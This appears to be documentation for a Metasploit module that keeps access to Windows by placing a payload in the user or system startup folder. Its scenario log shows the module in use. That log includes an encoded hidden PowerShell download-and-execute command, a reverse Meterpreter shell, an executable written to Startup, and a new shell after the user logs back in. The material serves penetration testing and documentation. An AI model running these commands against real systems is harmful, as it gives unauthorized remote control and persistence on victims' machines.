121 lines
5.8 KiB
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121 lines
5.8 KiB
Markdown
## Vulnerable Application
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This module establishes persistence by creating a payload in the user or system startup folder.
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Works on Vista and newer systems.
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## Verification Steps
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Example steps in this format (is also in the PR):
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1. get session on target with admin/system privs
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2. `use exploit/windows/persistence/startup_folder`
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3. `set payload <payload>`
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4. `set lport <lport>`
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5. `set lhost <lhost>`
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6. `exploit`
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## Options
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### PAYLOAD_NAME
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Name of payload file to write. Random string as default.
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### CONTEXT
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Target current User or All Users (system). Defaults to `USER`. Choices are
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`USER` which installs just to that user's startup folder. `SYSTEM` installs
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to the system default startup folder which effects all users.
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## Scenarios
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### Windows 10 1909 (10.0 Build 18363)
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Initial Payload
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```
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resource (/root/.msf4/msfconsole.rc)> setg verbose true
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verbose => true
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resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1
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lhost => 1.1.1.1
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resource (/root/.msf4/msfconsole.rc)> setg payload cmd/linux/http/x64/meterpreter/reverse_tcp
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payload => cmd/linux/http/x64/meterpreter/reverse_tcp
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resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
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[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
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resource (/root/.msf4/msfconsole.rc)> set target 2
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target => 2
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resource (/root/.msf4/msfconsole.rc)> set srvport 8085
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srvport => 8085
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resource (/root/.msf4/msfconsole.rc)> set uripath w2
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uripath => w2
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resource (/root/.msf4/msfconsole.rc)> set payload payload/windows/x64/meterpreter/reverse_tcp
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payload => windows/x64/meterpreter/reverse_tcp
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resource (/root/.msf4/msfconsole.rc)> set lport 4449
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lport => 4449
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resource (/root/.msf4/msfconsole.rc)> run
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[*] Exploit running as background job 0.
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[*] Exploit completed, but no session was created.
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[*] Started reverse TCP handler on 1.1.1.1:4449
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[*] Using URL: http://1.1.1.1:8085/w2
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[*] Server started.
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[*] Run the following command on the target machine:
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powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJABzAFIANAA0AEsAPQBuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAA7AGkAZgAoAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFAAcgBvAHgAeQBdADoAOgBHAGUAdABEAGUAZgBhAHUAbAB0AFAAcgBvAHgAeQAoACkALgBhAGQAZAByAGUAcwBzACAALQBuAGUAIAAkAG4AdQBsAGwAKQB7ACQAcwBSADQANABLAC4AcAByAG8AeAB5AD0AWwBOAGUAdAAuAFcAZQBiAFIAZQBxAHUAZQBzAHQAXQA6ADoARwBlAHQAUwB5AHMAdABlAG0AVwBlAGIAUAByAG8AeAB5ACgAKQA7ACQAcwBSADQANABLAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADIALgAyADIAOAA6ADgAMAA4ADUALwB3ADIALwAyADAAdAB3AGYAZQAnACkAKQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADIALgAyADIAOAA6ADgAMAA4ADUALwB3ADIAJwApACkAOwA=
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msf exploit(multi/script/web_delivery) >
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[*] 2.2.2.2 web_delivery - Powershell command length: 3682
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[*] 2.2.2.2 web_delivery - Delivering Payload (3682 bytes)
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[*] Sending stage (230982 bytes) to 2.2.2.2
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[*] Meterpreter session 1 opened (1.1.1.1:4449 -> 2.2.2.2:50883) at 2025-10-27 15:10:44 -0400
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msf exploit(multi/script/web_delivery) > sessions -i 1
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[*] Starting interaction with 1...
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meterpreter > sysinfo
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Computer : WIN10PROLICENSE
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OS : Windows 10 1909 (10.0 Build 18363).
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Architecture : x64
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System Language : en_US
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Domain : WORKGROUP
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Logged On Users : 2
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Meterpreter : x64/windows
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meterpreter > getuid
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Server username: WIN10PROLICENSE\windows
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meterpreter > background
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[*] Backgrounding session 1...
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```
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Persistence
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```
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msf exploit(multi/script/web_delivery) > use exploit/windows/persistence/startup_folder
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[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
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msf exploit(windows/persistence/startup_folder) > set session 1
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session => 1
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msf exploit(windows/persistence/startup_folder) > set payload windows/meterpreter/reverse_tcp
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payload => windows/meterpreter/reverse_tcp
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msf exploit(windows/persistence/startup_folder) > recheck
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[*] Reloading module...
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[*] The target appears to be vulnerable. Likely exploitable, able to write test file to C:\Users\windows\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
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msf exploit(windows/persistence/startup_folder) > exploit
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[*] Exploit running as background job 1.
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[*] Exploit completed, but no session was created.
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msf exploit(windows/persistence/startup_folder) >
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[*] Started reverse TCP handler on 1.1.1.1:4444
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[*] Running automatic check ("set AutoCheck false" to disable)
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[+] The target appears to be vulnerable. Likely exploitable, able to write test file to C:\Users\windows\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
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[+] Writing payload to C:\Users\windows\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Zugyndszf.exe
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[*] Payload (7168 bytes) uploaded on WIN10PROLICENSE to C:\Users\windows\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Zugyndszf.exe
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[*] Meterpreter-compatible Cleanup RC file: /root/.msf4/logs/persistence/WIN10PROLICENSE_20251027.1534/WIN10PROLICENSE_20251027.1534.rc
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```
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Logout and back in as user 'windows'
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```
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msf exploit(windows/persistence/startup_folder) > [*] 2.2.2.2 - Meterpreter session 1 closed. Reason: Died
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[*] Sending stage (188998 bytes) to 2.2.2.2
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[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:50916) at 2025-10-27 15:16:21 -0400
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msf exploit(windows/persistence/startup_folder) > sessions -i 2
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[*] Starting interaction with 2...
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meterpreter > getuid
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Server username: WIN10PROLICENSE\windows
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```
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